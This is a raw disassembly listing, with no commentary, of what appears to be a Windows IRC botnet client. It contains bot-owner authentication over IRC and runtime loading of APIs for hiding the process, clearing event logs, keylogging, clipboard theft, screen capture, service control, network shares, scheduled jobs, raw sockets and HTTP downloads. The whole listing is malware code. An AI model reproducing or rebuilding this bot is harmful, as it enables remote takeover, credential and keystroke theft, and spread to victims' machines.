loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2670ECAh push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 269068Dh push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax call near ptr 2670ECAh nop loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA30 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2670ECAh locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 2680925h mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2680925h mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2680925h mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 2680925h mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 2680925h mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 2680925h mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj call near ptr 2680925h nop mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset 